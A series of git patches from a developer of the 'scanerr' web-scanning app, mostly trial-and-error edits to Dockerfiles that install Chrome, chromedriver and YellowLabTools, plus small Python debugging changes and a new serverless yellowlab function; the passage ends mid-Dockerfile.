 Dockerfile.dev | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index ffea9e53..db0a54e1 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,17 +26,16 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable && \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
-    CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
-    unzip ~/chromedriver_linux64.zip -d ~/ && \
-    rm ~/chromedriver_linux64.zip && \
+    apt-get install -y google-chrome-stable; \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
+    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
     mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps

From d52764dd7d044c21a844c09b210ae3e6f0070664 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:30:16 -0700
Subject: [PATCH 279/752] testing

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index db0a54e1..8449b73d 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -36,7 +36,7 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
-    mv -f ~/chromedriver /usr/bin/chromedriver
+    unzip /chromedriver/chromedriver* -d /usr/local/bin/
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 09c54ca5ffbdcf41d196ff7d057924325073f0b7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:41:52 -0700
Subject: [PATCH 280/752] testing

---
 Dockerfile.dev | 33 +++++++++++++++++++++++----------
 1 file changed, 23 insertions(+), 10 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 8449b73d..5491226f 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,18 +26,31 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable; \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
-    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
+# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+#     apt-get update -y; \
+#     apt-get install -y google-chrome-stable; \
+#     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+#     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
+#     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
+#     unzip /chromedriver/chromedriver* -d /usr/local/bin/
+
+RUN apt-get update && \
+    apt-get install -y gnupg wget curl unzip --no-install-recommends && \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \
+    echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list && \
+    apt-get update -y && \
+    apt-get install -y google-chrome-stable && \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
+    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
+    wget -q --continue -P /chromedriver "http://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
     unzip /chromedriver/chromedriver* -d /usr/local/bin/
 
+
+
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 
     libatk-bridge2.0-0 gconf-service libasound2 make \ 

From 138a110249053ee78a67b7ffb82baead4c71ead0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:54:46 -0700
Subject: [PATCH 281/752] testing

---
 Dockerfile.dev | 36 ++++++++++++------------------------
 1 file changed, 12 insertions(+), 24 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 5491226f..1e184f8c 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,30 +26,18 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-#     apt-get update -y; \
-#     apt-get install -y google-chrome-stable; \
-#     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-#     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
-#     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
-#     unzip /chromedriver/chromedriver* -d /usr/local/bin/
-
-RUN apt-get update && \
-    apt-get install -y gnupg wget curl unzip --no-install-recommends && \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \
-    echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list && \
-    apt-get update -y && \
-    apt-get install -y google-chrome-stable && \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
-    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -q --continue -P /chromedriver "http://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
-    unzip /chromedriver/chromedriver* -d /usr/local/bin/
-
-
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable; \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROME_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    unzip ~/chromedriver_linux64.zip -d ~/ && \
+    rm ~/chromedriver_linux64.zip && \
+    mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 51e135b914011610221d3b3153e5dd8ae67ff8af Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:59:52 -0700
Subject: [PATCH 282/752] fixing version issues

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 1e184f8c..f1baae28 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -33,8 +33,8 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
     apt-get install -y google-chrome-stable; \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROME_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver

From 33c9fb632dff0681dfd2ddae1fd1336497addff1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:03:29 -0700
Subject: [PATCH 283/752] fixing naming issues

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index f1baae28..de66c254 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -35,8 +35,8 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     apt-get install -y google-chrome-stable; \
     CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver_linux64.zip -d ~/ && \
-    rm ~/chromedriver_linux64.zip && \
+    unzip ~/chromedriver-linux64.zip -d ~/ && \
+    rm ~/chromedriver-linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps

From 67b32ff889767afbfe61353edafeb6aea5933b96 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:12:59 -0700
Subject: [PATCH 284/752] fixing dir issues

---
 Dockerfile.dev | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index de66c254..a4a13e59 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -25,19 +25,22 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev \ 
     libfontconfig wget unzip gnupg
 
-# installing google-chrome-stable & chromedriver
+# installing google-chrome-stable 
 RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable; \
-    CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    apt-get install -y google-chrome-stable;
+
+# installing chromedriver
+RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
     unzip ~/chromedriver-linux64.zip -d ~/ && \
     rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver /usr/bin/chromedriver
+    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+    rm ~/chromedriver-linux64
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From e9cb6878ca24c1522e663aaa7b1423eb44e2490a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:16:21 -0700
Subject: [PATCH 285/752] fixed dir removal issue

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index a4a13e59..e71480b4 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -40,7 +40,7 @@ RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-te
     unzip ~/chromedriver-linux64.zip -d ~/ && \
     rm ~/chromedriver-linux64.zip && \
     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm ~/chromedriver-linux64
+    rm -rf ~/chromedriver-linux64
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 72f8d8be86a4e96a43427720e3a4e02ad6bb8c78 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:25:31 -0700
Subject: [PATCH 286/752] added context back

---
 docker-compose.dev.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 67696f59..d79ecee1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,6 +6,7 @@ services:
     privileged: true
     init: true
     build:
+      context: .
       dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
@@ -47,6 +48,7 @@ services:
     privileged: true
     restart: always
     build:
+      context: .
       dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 6e9339d4a60d895e806d54836798a3e0b805cbda Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 15:15:06 -0700
Subject: [PATCH 287/752] back to old dockerfile

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d79ecee1..5752627a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.dev
+      dockerfile: Dockerfile
     volumes:
       - ./app:/app
       - static_volume:/app/static
@@ -49,7 +49,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.dev
+      dockerfile: Dockerfile
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr

From 4afab58f4a08fb4c6f1f8327b7ddf75ef110db31 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 19:01:39 -0700
Subject: [PATCH 288/752] fixed issue with page and site info not updating
 correctly

---
 app/api/utils/scanner.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 084809c5..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -423,10 +423,10 @@ def check_scan_completion(scan, test_id, automation_id):
     # deciding if done
     if finished is True:
         time_completed = datetime.now()
-        update_page_info(scan)
-        update_site_info(scan)
         scan.time_completed = time_completed
         scan.save()
+        update_page_info(scan)
+        update_site_info(scan)
 
         # start Test if test_id present
         if test_id is not None:

From b6ae2bed53c9aafa96603f7de47af0f5ad175b85 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 10:43:46 -0700
Subject: [PATCH 289/752] adding functions

---
 functions/scanerr-yl/.gitignore               |  7 +++++++
 .../packages/scanerr/yellowlab/package.json   | 10 ++++++++++
 .../packages/scanerr/yellowlab/yellowlab.js   | 16 ++++++++++++++++
 functions/scanerr-yl/project.yml              | 19 +++++++++++++++++++
 4 files changed, 52 insertions(+)
 create mode 100644 functions/scanerr-yl/.gitignore
 create mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/package.json
 create mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
 create mode 100644 functions/scanerr-yl/project.yml

diff --git a/functions/scanerr-yl/.gitignore b/functions/scanerr-yl/.gitignore
new file mode 100644
index 00000000..882a1fbe
--- /dev/null
+++ b/functions/scanerr-yl/.gitignore
@@ -0,0 +1,7 @@
+.nimbella
+.deployed
+__deployer__.zip
+__pycache__/
+node_modules
+package-lock.json
+.DS_Store
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
new file mode 100644
index 00000000..726b44e8
--- /dev/null
+++ b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
@@ -0,0 +1,10 @@
+{
+    "name": "yellowlab",
+    "version": "1.0.0",
+    "description": "scanerr yellowlab scalable function",
+    "main": "yellowlab.js",
+    "dependencies": {
+      "yellowlabtools": "2.2.0"
+    },
+    "devDependencies": {}
+  }
\ No newline at end of file
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
new file mode 100644
index 00000000..6b2cd258
--- /dev/null
+++ b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
@@ -0,0 +1,16 @@
+import yellowLabTools from "yellowlabtools"
+
+function main(args){
+    var yltOptions = {
+        device: args.device,
+    };
+    yellowLabTools(args.url, yltOptions)
+        .then(function(data) {
+            return data
+        })
+        .fail(function(err) {
+            return err
+        });
+}
+
+export default main
diff --git a/functions/scanerr-yl/project.yml b/functions/scanerr-yl/project.yml
new file mode 100644
index 00000000..8596ad68
--- /dev/null
+++ b/functions/scanerr-yl/project.yml
@@ -0,0 +1,19 @@
+parameters: {}
+environment: {}
+packages:
+    - name: scanerr
+      shared: false
+      environment: {}
+      parameters: {}
+      annotations: {}
+      functions:
+        - name: yellowlab
+          binary: false
+          main: ""
+          runtime: nodejs:default
+          web: true
+          webSecure: false
+          parameters: {}
+          environment: {}
+          annotations: {}
+          limits: {}

From e3073e6b4c4f74de45e484fa739e7afc643b0d53 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:03:55 -0700
Subject: [PATCH 290/752] testing

---
 Dockerfile | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/Dockerfile b/Dockerfile
index 480b4fcc..faa9cda5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,6 +34,11 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
+# installing more yellowlab-specific system deps
+RUN pt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
+    nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
+    cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
+
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -42,6 +47,9 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 

From e229f67dd7c961f24138cfd60706ac5e82034aed Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:06:10 -0700
Subject: [PATCH 291/752] fixed typo

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index faa9cda5..f70b7d37 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,7 +35,7 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing more yellowlab-specific system deps
-RUN pt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
+RUN apt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
     nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
     cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
 

From f787078f95c0663568a986eccd13871e838d1fb6 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:08:44 -0700
Subject: [PATCH 292/752] testing

---
 Dockerfile | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f70b7d37..25454bd0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -32,12 +32,8 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
     libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
-
-# installing more yellowlab-specific system deps
-RUN apt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
-    nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
-    cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \

From c2f07691657f62080b09e948f94cefd3cc3c4c25 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:13:51 -0700
Subject: [PATCH 293/752] trying to create workdir at start of dockerfile

---
 Dockerfile | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 25454bd0..9ad91e8e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,11 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=2000
 ENV NODE_OPTIONS="--max-old-space-size=2000"
@@ -57,11 +62,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium

From 686c3259cf0cc483a6b4391f8ae39cc606d020c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:59:59 -0700
Subject: [PATCH 294/752] debugging create_many_tests

---
 app/api/v1/ops/services.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 833aa045..692457b3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1227,6 +1227,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1234,6 +1235,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1244,12 +1246,14 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1293,6 +1297,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1302,6 +1307,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1314,6 +1320,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1322,6 +1329,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From fb41b323f31167a43e7aa40c1b63f666c4139004 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:43:49 -0700
Subject: [PATCH 295/752] new dockerfile for yellowlabs

---
 functions/dockerfiles/Dockerfile | 47 ++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)
 create mode 100644 functions/dockerfiles/Dockerfile

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
new file mode 100644
index 00000000..95bf0e49
--- /dev/null
+++ b/functions/dockerfiles/Dockerfile
@@ -0,0 +1,47 @@
+FROM --platform=linux/amd64 node:18-alpine
+
+# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
+
+# Tell phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
+ENV DOCKERIZED yes
+
+WORKDIR /usr/src/ylt
+
+RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
+  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" \ 
+  && npm install -g yellowlabtools@2.2.0 --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
